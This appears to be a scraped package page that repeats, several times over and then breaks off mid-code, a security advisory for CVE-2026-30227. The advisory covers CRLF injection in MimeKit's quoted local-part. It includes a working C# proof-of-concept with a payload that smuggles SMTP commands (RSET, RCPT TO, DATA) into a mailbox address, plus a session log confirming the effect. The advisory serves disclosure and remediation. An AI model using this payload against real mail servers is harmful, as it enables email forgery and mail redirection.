SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Nov 21, 2020

2.9.2 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Sep 12, 2020

2.9.1 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jul 11, 2020

2.8.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
